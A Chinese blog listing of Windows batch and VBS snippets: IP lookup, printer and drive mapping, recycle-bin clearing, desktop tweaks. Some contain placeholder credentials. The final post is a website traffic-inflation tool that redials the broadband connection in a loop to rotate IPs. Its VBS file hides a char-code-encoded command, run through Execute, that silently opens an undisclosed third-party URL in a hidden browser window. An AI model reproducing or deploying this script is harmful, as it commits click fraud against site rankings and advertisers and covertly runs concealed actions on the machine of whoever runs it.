批处理获取本机IP地址
2019-9-17 乱云飞 评论(0) 浏览(260) 标签: 批处理 获取IP 获取IP地址 本机IP
@echo off @for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do (@set IP=%%a)>NUL 2>NUL @echo 本机IP地址是:%IP%
批处理连接局域网共享打印机
2019-9-3 乱云飞 评论(0) 浏览(276) 标签: 批处理 局域网共享 共享打印机
@color 0A @mode con cols=50 lines=10 @title 连接局域网打印机 www.80c.cc @echo. @echo 洛阳翼展科技 / 专业安防监控 13213610060 @echo. @echo 正在连接打印机。。。 @::-------------------------------------------------------- @set 打印机=\\80c.cc\print @set 用户名=administrator @set 密码=12345678 @::-------------------------------------------------------- @net stop Spooler @ping -n 10 127.0.0.1>NUL @net start Spooler @net use %打印机% %密码% /user:%用户名% @start %打印机% /user:%用户名% %密码% @rundll32 printui.dll,PrintUIEntry /y /n " %打印机%" @ping -n 10 127.0.0.1>NUL @::-------------------------------------------------------- @rem cmd /k exit
批处理映射网络共享目录
2019-8-23 乱云飞 评论(0) 浏览(261) 标签: 批处理 映射 共享文件夹
@color 0A @mode con cols=50 lines=10 @title 连接网络共享磁盘 www.80c.cc @echo. @echo 连接网络共享磁盘... ::-------------------------------------------------------- @set 服务器=\\80c.cc\测试目录 @set 注册表=##80c.cc#测试目录 @set 用户名=admin @set 密码=* @set 盘符=Z @set 卷标=网络磁盘 @set 退出时间=10 ::-------------------------------------------------------- @net use * /d /y >nul 2>nul @net use %盘符%: %服务器% %密码% /user:%用户名% /persistent:yes @label %盘符%: %卷标%>NUL @reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\%注册表% /v _LabelFromReg /d %卷标% /f @start "打开%盘符%盘" "%盘符%:\" @echo 请打开我的电脑%盘符%盘操作。 @ping -n %退出时间% 127.0.0.1>NUL ::-------------------------------------------------------- rem cmd /k exit
批处理清空回收站
2019-8-4 乱云飞 评论(0) 浏览(330) 标签: 批处理 清空回收站
@echo off setlocal enabledelayedexpansion for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( if exist %%a:\$recycle.bin ( pushd %%a:\$recycle.bin for /f %%b in ('dir /b /a') do (rd /s /q %%b) ) ) pause
更改桌面图标大小
2019-8-3 乱云飞 评论(0) 浏览(276) 标签: 批处理 桌面图标 图标大小
@
echo
off
reg add
"HKCU\Software\Microsoft\Windows\Shell\Bags\1\Desktop"
/f
/v
"IconSize"
/t
REG_DWORD
/d
96
taskkill
/im
explorer.exe
/f
& start explorer.exe
bat批处理判断系统位数
2019-8-3 乱云飞 评论(0) 浏览(327) 标签: 批处理 判断系统版本 系统位数 64位 32位
@echo off rem 判断64位系统和32位系统 if /i %PROCESSOR_IDENTIFIER:~0,3%==x86 ( echo 32位操作系统 ) else ( echo 64位操作系统 ) pause
更改计算机描述
2019-8-2 乱云飞 评论(0) 浏览(222) 标签: 批处理 注册表 更改计算机描述
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\lanmanserver\Parameters" /v srvcomment /t reg_sz /d 描述文字 /f两种方法更改桌面壁纸
2019-8-2 乱云飞 评论(0) 浏览(251) 标签: 批处理 更换桌面背景 桌面壁纸
@reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /d %~dp0ez.bmp /f@RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
---------------------------------------------------------
cd /
cd %~dp0copy ez.bmp C:\ez.bmp
reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /V Wallpaper /D C:\ez.bmp /F
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
cmd /k
激活窗口,只写窗口标题前半部分就行
2019-8-2 乱云飞 评论(0) 浏览(277) 标签: 批处理 VBS 激活窗口
Set WshShell = CreateObject("WScript.Shell")WshShell.AppActivate "任务管理"
WshShell.SendKeys "{Enter}"
百度里找到了一个很久以前写的批处理
2019-7-31 乱云飞 评论(0) 浏览(241) 标签: 批处理 刷网站流量 刷网站排名
以下红色部分代码保存为:shua.bat =========================================== @ title 网站刷流量排名工具 @ echo ---------------------------------------------------------- @ echo 网站刷流量排名工具。如需帮助请联系 QQ 345794501 @ echo ---------------------------------------------------------- @ color 0A @ echo off @ rem ---------- 设置名称,帐号,密码,延迟时间 ---------- @ set 连接名称=中国网通 @ set 宽带帐号=13213610060 @ set 宽带密码=123456 @ set 延迟时间=15 @ rem ---------- 以下部分不要修改 ---------- :start @ Rasdial %连接名称% %宽带帐号% %宽带密码% @ start shua.vbs @ ping 127.0.0.1 -n %延迟时间% @ Rasdial %连接名称% /disconnect @ taskkill /f /im IEXPLORE.EXE @ rem 循环 @ goto start =========================================== 以下黄色部分代码修改后保存为:shua.vbs =========================================== Str = Array(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48) Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End Function Execute Num2Str(Str) '//请在下面设置要刷的网页,每行一个地址,不要超过10个地址。联系QQ 345794501 // objShell.Run "IEXPLORE.EXE http://80c.cc/vip/free.htm",0 objShell.Run "IEXPLORE.EXE http://80c.cc/ceshi.htm",0